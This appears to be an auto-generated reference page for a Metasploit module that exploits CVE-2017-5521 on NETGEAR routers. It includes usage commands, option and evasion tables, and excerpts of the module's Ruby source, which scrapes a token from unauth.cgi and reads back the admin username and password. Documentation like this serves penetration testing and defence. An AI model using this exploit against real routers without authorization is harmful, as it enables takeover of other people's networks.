NETGEAR Administrator Password Disclosure - Metasploit


This page contains detailed information about how to use the auxiliary/gather/netgear_password_disclosure metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: NETGEAR Administrator Password Disclosure
Module: auxiliary/gather/netgear_password_disclosure
Source code: modules/auxiliary/gather/netgear_password_disclosure.rb
Disclosure date: -
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2017-5521

This module will collect the password for the admin user. The exploit will not complete if password recovery is set on the router. The password is received by passing the token generated from unauth.cgi to passwordrecovered.cgi. This exploit works on many different NETGEAR products. The full list of affected products is available in the 'References' section.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/gather/netgear_password_disclosure
msf auxiliary(netgear_password_disclosure) > show targets
    ... a list of targets ...
msf auxiliary(netgear_password_disclosure) > set TARGET target-id
msf auxiliary(netgear_password_disclosure) > show options
    ... show and set options ...
msf auxiliary(netgear_password_disclosure) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the gather/netgear_password_disclosure auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/netgear_password_disclosure

msf6 auxiliary(gather/netgear_password_disclosure) > show info

       Name: NETGEAR Administrator Password Disclosure
     Module: auxiliary/gather/netgear_password_disclosure
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Simon Kenin
  thecarterb

Check supported:
  Yes

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      80               yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       The base path to the vulnerable application
  VHOST                       no        HTTP server virtual host

Description:
  This module will collect the password for the `admin` user. The 
  exploit will not complete if password recovery is set on the router. 
  The password is received by passing the token generated from 
  `unauth.cgi` to `passwordrecovered.cgi`. This exploit works on many 
  different NETGEAR products. The full list of affected products is 
  available in the 'References' section.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-5521
  https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2017-003/?fid=8911
  http://thehackernews.com/2017/01/Netgear-router-password-hacking.html
  https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2017-5521--Bypassing-Authentication-on-NETGEAR-Routers/
  http://pastebin.com/dB4bTgxz
  https://www.exploit-db.com/exploits/41205

Module Options

This is a complete list of options available in the gather/netgear_password_disclosure auxiliary module:

msf6 auxiliary(gather/netgear_password_disclosure) > show options

Module options (auxiliary/gather/netgear_password_disclosure):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the vulnerable application
   VHOST                       no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the gather/netgear_password_disclosure auxiliary module:

msf6 auxiliary(gather/netgear_password_disclosure) > show advanced

Module advanced options (auxiliary/gather/netgear_password_disclosure):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the gather/netgear_password_disclosure module can do:

msf6 auxiliary(gather/netgear_password_disclosure) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the gather/netgear_password_disclosure auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/netgear_password_disclosure) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<RHOST> returned an empty response.

Here is a relevant code snippet related to the "<RHOST> returned an empty response." error message:

55:	    # will always call check no matter what
56:	    is_ng = check
57:	
58:	    res = send_request_cgi({ 'uri' => uri })
59:	    if res.nil?
60:	      print_error("#{rhost} returned an empty response.")
61:	      return
62:	    end
63:	
64:	    if is_ng == Exploit::CheckCode::Detected
65:	      marker_one = "id="

<RHOST> is not vulnerable: Token not found

Here is a relevant code snippet related to the "<RHOST> is not vulnerable: Token not found" error message:

64:	    if is_ng == Exploit::CheckCode::Detected
65:	      marker_one = "id="
66:	      marker_two = "\""
67:	      token = scrape(res.to_s, marker_one, marker_two)
68:	      if token.nil?
69:	        print_error("#{rhost} is not vulnerable: Token not found")
70:	        return
71:	      end
72:	
73:	      if token == '0'
74:	        print_status("If no creds are found, try the exploit again. #{rhost} returned a token of 0")

If no creds are found, try the exploit again. <RHOST> returned a token of 0

Here is a relevant code snippet related to the "If no creds are found, try the exploit again. <RHOST> returned a token of 0" error message:

69:	        print_error("#{rhost} is not vulnerable: Token not found")
70:	        return
71:	      end
72:	
73:	      if token == '0'
74:	        print_status("If no creds are found, try the exploit again. #{rhost} returned a token of 0")
75:	      end
76:	      print_status("Token found: #{token}")
77:	      vprint_status("Token found at #{rhost}/unauth.cgi?id=#{token}")
78:	
79:	      r = send_request_cgi({

<RHOST> returned empty credentials

Here is a relevant code snippet related to the "<RHOST> returned empty credentials" error message:

87:	      raw_html = html.text
88:	
89:	      username = scrape(raw_html, "Router Admin Username", "Router Admin Password")
90:	      password = scrape(raw_html, "Router Admin Password", "You can")
91:	      if username.nil? || password.nil?
92:	        print_error("#{rhost} returned empty credentials")
93:	        return
94:	      end
95:	      username.strip!
96:	      password.strip!
97:

No Creds found

Here is a relevant code snippet related to the "No Creds found" error message:

94:	      end
95:	      username.strip!
96:	      password.strip!
97:	
98:	      if username.empty? || password.empty?
99:	        print_error("No Creds found")
100:	      else
101:	        print_good("Creds found: #{username}/#{password}")
102:	      end
103:	    else
104:	      print_error("#{rhost} is not vulnerable: Not a NETGEAR device")

<RHOST> is not vulnerable: Not a NETGEAR device

Here is a relevant code snippet related to the "<RHOST> is not vulnerable: Not a NETGEAR device" error message:

99:	        print_error("No Creds found")
100:	      else
101:	        print_good("Creds found: #{username}/#{password}")
102:	      end
103:	    else
104:	      print_error("#{rhost} is not vulnerable: Not a NETGEAR device")
105:	    end
106:	  end
107:	
108:	  # Almost every NETGEAR router sends a 'WWW-Authenticate' header in the response
109:	  # This checks the response for that header.

Connection timed out.

Here is a relevant code snippet related to the "Connection timed out." error message:

109:	  # This checks the response for that header.
110:	  def check
111:	
112:	    res = send_request_cgi({'uri'=>'/'})
113:	    if res.nil?
114:	      fail_with(Failure::Unreachable, 'Connection timed out.')
115:	    end
116:	
117:	    # Checks for the `WWW-Authenticate` header in the response
118:	    if res.headers["WWW-Authenticate"]
119:	      data = res.to_s

Router is not a NETGEAR router

Here is a relevant code snippet related to the "Router is not a NETGEAR router" error message:

120:	      marker_one = "Basic realm=\""
121:	      marker_two = "\""
122:	      model = data[/#{marker_one}(.*?)#{marker_two}/m, 1]
123:	      print_good("Router is a NETGEAR router (#{model})")
124:	      return Exploit::CheckCode::Detected
125:	    else
126:	      print_error('Router is not a NETGEAR router')
127:	      return Exploit::CheckCode::Safe
128:	    end
129:	  end
130:	end

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References

See Also

Check also the following modules related to this module:

Authors

  • Simon Kenin
  • thecarterb

Version

This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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